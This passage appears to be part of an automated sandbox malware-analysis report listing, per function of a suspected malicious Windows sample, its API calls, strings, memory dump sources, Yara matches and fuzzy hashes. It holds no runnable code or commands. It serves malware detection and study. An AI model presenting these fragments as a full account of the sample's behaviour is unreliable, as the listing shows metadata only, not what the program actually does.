FindFirstFileA.KERNEL32(?,?,?,?,?), ref: 00424B63
FindClose.KERNEL32(00000000,?,?,?), ref: 00424B6F
lstrlenA.KERNEL32(?,?,?,?), ref: 00424B8C
lstrcpyA.KERNEL32(?,?,?,?,?), ref: 00424BAB

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Path$Findlstrcpyn$CharCloseFileFirstFullH_prologInformationNameRootStripUpperVolumelstrcpylstrlen
String ID:
API String ID: 4080879615-0
Opcode ID: 0673f5eb62677d010cc7cd393616d49ad2b116331357cec368046e2544c01408
Instruction ID: 4b06695585c640ab3fe26250615955364903dab726ca119cf8fbbfb20b083b72
Opcode Fuzzy Hash: 0673f5eb62677d010cc7cd393616d49ad2b116331357cec368046e2544c01408
Instruction Fuzzy Hash: F1317531700128EBDB219FA5EC88BEEBBBCEF84355F4045A6F515E6250C7389E858B58

Function 00418CFE Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

_TranslateName.LIBCMT ref: 00418D59
_TranslateName.LIBCMT ref: 00418DA2
IsValidCodePage.KERNEL32(00000000,00000082,?,0043C8F0,00415C9D,?,0043F8E8,?), ref: 00418E06
IsValidLocale.KERNEL32(00000001), ref: 00418E1C
_strcat.LIBCMT ref: 00418E5F

Part of subcall function 00418BEC: _strlen.LIBCMT ref: 00418BF2
Part of subcall function 00418BEC: EnumSystemLocalesA.KERNEL32(00418802,00000001,?,0043C8F0,00415C9D,?,0043F8E8,?), ref: 00418C0C

Strings

8:C, xrefs: 00418D9D
Norwegian-Nynorsk, xrefs: 00418E59

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: NameTranslateValid$CodeEnumLocaleLocalesPageSystem_strcat_strlen
String ID: 8:C$Norwegian-Nynorsk
API String ID: 4291917928-2144728078
Opcode ID: 574a487d4df5138f39aaf0a3a251f485e9dbddddad8006a7e9d6517df36a9767
Instruction ID: 2c2c8765f4b236233be1cdb350641c934f88d795d8981d40c2d079dedaed01f1
Opcode Fuzzy Hash: 574a487d4df5138f39aaf0a3a251f485e9dbddddad8006a7e9d6517df36a9767
Instruction Fuzzy Hash: 6A4185B1B41340BBDB30AB61AC81BEB37A5AF65700B15143FE545D62F1DF3988C9862E

Function 00414AE3 Relevance: 12.2, APIs: 8, Instructions: 212timeCOMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00414AF6

Part of subcall function 004108E8: EnterCriticalSection.KERNEL32(?,?,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00410910

_strlen.LIBCMT ref: 00414B68
_strcat.LIBCMT ref: 00414B85
_strncpy.LIBCMT ref: 00414B9E

Part of subcall function 0040E502: __lock.LIBCMT ref: 0040E520
Part of subcall function 0040E502: HeapFree.KERNEL32(00000000,?,00431A60,0000000C,004108CC,00000000,00431B30,00000008,00410901,?,?,?,00410723,00000004,00431B20,00000010), ref: 0040E567

GetTimeZoneInformation.KERNEL32(0043F808,00432298,00000018,004150F8,004322A8,00000008,0040F746,?,?,0000003C,00000000,?,?,0000003C,00000000,?), ref: 00414C07
WideCharToMultiByte.KERNEL32(00000000,00000000,0043F80C,000000FF,0000003F,00000000,?,?,0000003C,00000000,?,?,0000003C,00000000,?,?), ref: 00414C95
WideCharToMultiByte.KERNEL32(00000000,00000000,0043F860,000000FF,0000003F,00000000,?,?,0000003C,00000000,?,?,0000003C,00000000,?,?), ref: 00414CC9

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ByteCharMultiWide__lock$CriticalEnterFreeHeapInformationSectionTimeZone_strcat_strlen_strncpy
String ID:
API String ID: 3757401926-0
Opcode ID: a12a00952cfbe2cbfe0e02be742bc80dcd0c2f8750305a48b7d58f6abd9f11fa
Instruction ID: b88b56355e109a379969b639f8961749b468b39d063f6cbed0312a5d21008a68
Opcode Fuzzy Hash: a12a00952cfbe2cbfe0e02be742bc80dcd0c2f8750305a48b7d58f6abd9f11fa
Instruction Fuzzy Hash: 1B7137319042419EDB28AF29FC85B967BE5E785310F64253BE850E72E1E73C48C2CB5D

Function 0041B3F3 Relevance: 9.1, APIs: 6, Instructions: 102COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000001,00000000,00000000,00433B40,00000018,0041A0FB,?,?,?,00000080,00000000,?,?,00000001), ref: 0041B410
GetLastError.KERNEL32(?,?,00000001), ref: 0041B422
GetLocaleInfoW.KERNEL32(00000001,?,00000000,00000000,00433B40,00000018,0041A0FB,?,?,?,00000080,00000000,?,?,00000001), ref: 0041B46D
GetLocaleInfoW.KERNEL32(00000001,?,?,00000000,?,?,00000001), ref: 0041B4DC
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,?,?,00000000,00000000,?,00000000,?,?,00000001), ref: 0041B4FE

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: InfoLocale$ByteCharErrorLastMultiWide
String ID:
API String ID: 97497842-0
Opcode ID: ec53c0ac90a504556e3c511ba40ffa224ed2ccbe603bfc9167057ac1e3787858
Instruction ID: bfaabb92e0a3a5bf762b7feaf1de5f82b449aebafdeaeb8c174feb8ae06c27e5
Opcode Fuzzy Hash: ec53c0ac90a504556e3c511ba40ffa224ed2ccbe603bfc9167057ac1e3787858
Instruction Fuzzy Hash: B3318D70901229FBCF218F91DD459EF7F75EF09764B20812AF411A6262C7388A91DBE9

Function 0041B2C3 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000001,00000000,00000000,00433B30,00000018,0041A1AF,?,?,0043F978,00000004,00000000,?,?,00000001), ref: 0041B2E0
GetLastError.KERNEL32(?,?,00000001), ref: 0041B2F2
GetLocaleInfoW.KERNEL32(00000001,?,?,?,00433B30,00000018,0041A1AF,?,?,0043F978,00000004,00000000,?,?,00000001), ref: 0041B31C
GetLocaleInfoA.KERNEL32(00000001,?,00000000,00000000,00433B30,00000018,0041A1AF,?,?,0043F978,00000004,00000000,?,?,00000001), ref: 0041B34B
GetLocaleInfoA.KERNEL32(00000001,?,?,?,?,?,00000001), ref: 0041B3B2
MultiByteToWideChar.KERNEL32(?,00000001,?,000000FF,?,?,?,?,?,?,00000001), ref: 0041B3D2

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: InfoLocale$ByteCharErrorLastMultiWide
String ID:
API String ID: 97497842-0
Opcode ID: 4f91be03a2c579940054dd89145ab35aa975abc4abe92bc42905e97746423a69
Instruction ID: ba34957b19bfa83a15de8861c2d6b5f59c3863597e2d4372a0d3dd5a209f6675
Opcode Fuzzy Hash: 4f91be03a2c579940054dd89145ab35aa975abc4abe92bc42905e97746423a69
Instruction Fuzzy Hash: 48317E7090061DEBCF229F55DD459EF7B75FF48354B24412BF821A2260D33889A1DB99

Function 00403550 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0040355A

Part of subcall function 004262F7: __EH_prolog.LIBCMT ref: 004262FC
Part of subcall function 004262F7: BeginPaint.USER32(?,?,?,?,0041FE9A), ref: 0042632A

SendMessageA.USER32(?,00000027,?,00000000), ref: 00403581
GetSystemMetrics.USER32(0000000B), ref: 0040358F
GetSystemMetrics.USER32(0000000C), ref: 00403595
GetClientRect.USER32(?,?), ref: 004035A2
DrawIcon.USER32(?,?,?,?), ref: 004035DA

Part of subcall function 00426352: __EH_prolog.LIBCMT ref: 00426357
Part of subcall function 00426352: EndPaint.USER32(?,?,?,?,0041FEC0,?), ref: 00426374

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: H_prologMetricsPaintSystem$BeginClientDrawIconIconicMessageRectSend
String ID:
API String ID: 1530917984-0
Opcode ID: f17d443d2831e9e86dea4b6b252fb4e05b77bb08401c64c5df8ed99b70b6788c
Instruction ID: c95341d9d7590c9a11ddb044179971413f278dffb205523bc6025f8df687dda5
Opcode Fuzzy Hash: f17d443d2831e9e86dea4b6b252fb4e05b77bb08401c64c5df8ed99b70b6788c
Instruction Fuzzy Hash: 841160B13143019FD224EF7DDC99D5B77A9ABC8214F444A2DF586C3290DA34E8068A65

Function 00403600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100timeCOMMON

Download Yara Rule

APIs

Part of subcall function 004215CD: __EH_prolog.LIBCMT ref: 004215D2

Part of subcall function 00423C70: GetDlgItem.USER32(?,?), ref: 00423C7D

Part of subcall function 00423DD5: EnableWindow.USER32(?,?), ref: 00423DE2

SetTimer.USER32(?,00000001,00000001,00000000), ref: 004036BE
listen.WS2_32(?,00000005), ref: 004036FC
SetTimer.USER32(?,00000001,00000001,00000000), ref: 0040370C

Part of subcall function 0042C0CB: __EH_prolog.LIBCMT ref: 0042C0D0
Part of subcall function 0042C0CB: inet_addr.WS2_32(?), ref: 0042C10F
Part of subcall function 0042C0CB: gethostbyname.WS2_32(?), ref: 0042C120
Part of subcall function 0042C0CB: htons.WS2_32(?), ref: 0042C137

SetTimer.USER32(?,00000001,00000001,00000000), ref: 0040372C

Strings

Busy now, xrefs: 00403718

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Timer$H_prolog$EnableItemWindowgethostbynamehtonsinet_addrlisten
String ID: Busy now
API String ID: 1258581902-130138695
Opcode ID: fce8c989688a1dac9d09d51dfa971bfc43fe77928b07dafcd80c6029d8334aa1
Instruction ID: 6490c2d23ba4975c4b10ba10ff6ed106fbde2c758548d969700f79071d26b33c
Opcode Fuzzy Hash: fce8c989688a1dac9d09d51dfa971bfc43fe77928b07dafcd80c6029d8334aa1
Instruction Fuzzy Hash: FC31243139072077E9356B72AC97FAE22A65B84B15F40051DB206AF1C1DEADBA41874C

Function 0040E573 Relevance: 7.6, APIs: 5, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040E58D
GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0040E59E
VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0040E5E4
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,0000001C), ref: 0040E622
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,0000001C), ref: 0040E648

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Virtual$Query$AllocInfoProtectSystem
String ID:
API String ID: 4136887677-0
Opcode ID: a1790f47c41936bced6b79c6f2a35fe46a97817065e715ad083577d6fcbb4a13
Instruction ID: 1d15696ca511e8db17db0566d3fc480254b9efd771fcc7e6bea79be161feb034
Opcode Fuzzy Hash: a1790f47c41936bced6b79c6f2a35fe46a97817065e715ad083577d6fcbb4a13
Instruction Fuzzy Hash: EC31C232E00229EBCF20CBA6DD44AEE7B78EB14354F540C76E901F7290D6768E51DB98

Function 00412E0F Relevance: 7.5, APIs: 5, Instructions: 32timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00412E2A
GetCurrentProcessId.KERNEL32 ref: 00412E36
GetCurrentThreadId.KERNEL32 ref: 00412E3E
GetTickCount.KERNEL32 ref: 00412E46
QueryPerformanceCounter.KERNEL32(?), ref: 00412E52

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: cf6504c454f8728ec9fffd442ed4ca1bfdc48b7cb4d0adf0ca51413743ca7f8e
Instruction ID: 34e95a29f25a6a58a344066bfba814387cfe7ca9964fe92030387c6fd27a6378
Opcode Fuzzy Hash: cf6504c454f8728ec9fffd442ed4ca1bfdc48b7cb4d0adf0ca51413743ca7f8e
Instruction Fuzzy Hash: 1BF0AF72D401249BCB209BF5ED8C49BB7F8FB183947860571DC11E7120D6349A518BD8

Function 00427F61 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43librarystringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00000800,LOC), ref: 00427F84
LoadLibraryA.KERNEL32(?), ref: 00427FB7
GetLocaleInfoA.KERNEL32(00000800,00000003,00000800,00000004), ref: 00427FC7

Strings

LOC, xrefs: 00427F7E

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: InfoLibraryLoadLocalelstrcpy
String ID: LOC
API String ID: 864663389-519433814
Opcode ID: 9b864cf7d00240f33efc80dbe4055dc1b43c4b1b79d0572f7f5122539e718ff0
Instruction ID: 80581f1108e614f4ea904bb7e7a22fcd021204f87db94054b61d7c27fe4284fc
Opcode Fuzzy Hash: 9b864cf7d00240f33efc80dbe4055dc1b43c4b1b79d0572f7f5122539e718ff0
Instruction Fuzzy Hash: 9601F730B0C118EBDB14DB61ED45ADB376CEB00320F418562FA16E2190E738CA058BA9

Function 02267740 Relevance: 6.5, Strings: 5, Instructions: 224COMMON

Download Yara Rule

Strings

t<C7, xrefs: 02267A39
Ei, xrefs: 0226790F
z}, xrefs: 02267773
t<C7, xrefs: 0226778F
"-, xrefs: 0226782C

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: "-$t<C7$t<C7$z}$Ei
API String ID: 0-1832362217
Opcode ID: e8d2fd9cd58a50925f43cca816ba68788b8f5ccbc1fbda49f8565b75a662cb90
Instruction ID: fdc78890633e496698b9ee955be1916b84a4ea558c7e5472ebecea036c82a0e4
Opcode Fuzzy Hash: e8d2fd9cd58a50925f43cca816ba68788b8f5ccbc1fbda49f8565b75a662cb90
Instruction Fuzzy Hash: A081AF72A153029FD314EFE4A84CA3BB7E6EB84608F40495DF45697258EBB0DD48CBD2

Function 021C92DE Relevance: 6.5, Strings: 5, Instructions: 224COMMON

Download Yara Rule

Strings

"-, xrefs: 021C93CA
Ei, xrefs: 021C94AD
t<C7, xrefs: 021C95D7
t<C7, xrefs: 021C932D
z}, xrefs: 021C9311

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: "-$t<C7$t<C7$z}$Ei
API String ID: 0-1832362217
Opcode ID: e9951e02e279bf2fb8e96ac9af4ea0a0f1a4852d9572745ba4539eff4543d218
Instruction ID: cfb165a633ad725c63a47fd265266aeb1970fcc57638785fb2b1eae3753fcfdf
Opcode Fuzzy Hash: e9951e02e279bf2fb8e96ac9af4ea0a0f1a4852d9572745ba4539eff4543d218
Instruction Fuzzy Hash: BA812375A083019FC324EFA9D98462FB7E6ABD4304F64492DF066E7294E770D908CBC2

Function 00422175 Relevance: 6.0, APIs: 4, Instructions: 41keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00423CEB: GetWindowLongA.USER32(?,000000F0), ref: 00423CF6

GetKeyState.USER32(00000010), ref: 00422199
GetKeyState.USER32(00000011), ref: 004221A2
GetKeyState.USER32(00000012), ref: 004221AB
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 004221C1

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: aed42ab7bb75c1cd56564738b3e39d445ed7b92ea90c531288bc4bc1f9d8c3dd
Instruction ID: 81c6e2ddc2ea8cfb9092195715bcc3f3fea8f194ae87aed2471ca2276cf2a0cc
Opcode Fuzzy Hash: aed42ab7bb75c1cd56564738b3e39d445ed7b92ea90c531288bc4bc1f9d8c3dd
Instruction Fuzzy Hash: E2F0E93A34036B35D92436777D01FB610144F41BD8FC1053AB702FA1E2C9D98C125239

Function 02266530 Relevance: 5.6, Strings: 4, Instructions: 596COMMON

Download Yara Rule

Strings

ke@5, xrefs: 02266D6F
l!`u, xrefs: 02266DF3
ke@5, xrefs: 02266D01
W$, xrefs: 02266AA8

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: W$$ke@5$ke@5$l!`u
API String ID: 0-26469448
Opcode ID: 61b3e33a99d05dc8f4f4ee720d28fb33bd23e0cc6f898fd2b8d6158320bc4e19
Instruction ID: e2772d0aaba3dc3fae28a03d6167796c310e26a00c697fe4e6f5df22c63317c9
Opcode Fuzzy Hash: 61b3e33a99d05dc8f4f4ee720d28fb33bd23e0cc6f898fd2b8d6158320bc4e19
Instruction Fuzzy Hash: 3622C4736353028BC724EEE8954C23E76EAAB80644F54491EE585D7258EB78CDC8CBD3

Function 021C80CE Relevance: 5.6, Strings: 4, Instructions: 596COMMON

Download Yara Rule

Strings

ke@5, xrefs: 021C889F
l!`u, xrefs: 021C8991
W$, xrefs: 021C8646
ke@5, xrefs: 021C890D

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: W$$ke@5$ke@5$l!`u
API String ID: 0-26469448
Opcode ID: 2884b0bae5a6a19bce542e2dc18d18ab15a0ccbe2a39f1a83be921a77ecd1377
Instruction ID: 8b090162244f49fc79cb280b46b617615e7f9a15b2fe8370e4762ebde20f4961
Opcode Fuzzy Hash: 2884b0bae5a6a19bce542e2dc18d18ab15a0ccbe2a39f1a83be921a77ecd1377
Instruction Fuzzy Hash: 8322F67D6893028FC729DE6895C412EB2E2ABE0754F36492EE485DB250DB70CD49CF93

Function 02265070 Relevance: 5.2, Strings: 4, Instructions: 205COMMON

Download Yara Rule

Strings

tm6, xrefs: 02265190
]C$0, xrefs: 0226526D
tm6, xrefs: 02265268
]C$0, xrefs: 022651D7

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: ]C$0$]C$0$tm6$tm6
API String ID: 0-1577568632
Opcode ID: f014a373a70ca616866e3e7aa87bab25042c40d8d945499d25ab5ce2f69e6b51
Instruction ID: c066ad98d9e48d7280410f9d47a51150b1ff668e1fdfee0f8f29d295e2e71cb2
Opcode Fuzzy Hash: f014a373a70ca616866e3e7aa87bab25042c40d8d945499d25ab5ce2f69e6b51
Instruction Fuzzy Hash: 4F61FE33F643025BDB14ABF8A89C73E72D6AB84644F454579E841DB25CEBB4CCA087D2

Function 00405138 Relevance: 4.5, APIs: 3, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbee95fd32640656629873f4c0c1f8e77fd368f73bef6af2322a74aaf1a87359
Instruction ID: 115fe9c69a981daa85ad6d09c71b2a7e2a91efd6e6e23b9954665e00665e8930
Opcode Fuzzy Hash: fbee95fd32640656629873f4c0c1f8e77fd368f73bef6af2322a74aaf1a87359
Instruction Fuzzy Hash: 5BF01D31A00509BBDB11AF61CC08AAF3B69EF04344B448036BD16E91A0DB39CA52AF59

Function 00418C23 Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00418C29
_strlen.LIBCMT ref: 00418C41
EnumSystemLocalesA.KERNEL32(00418907,00000001), ref: 00418C88

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

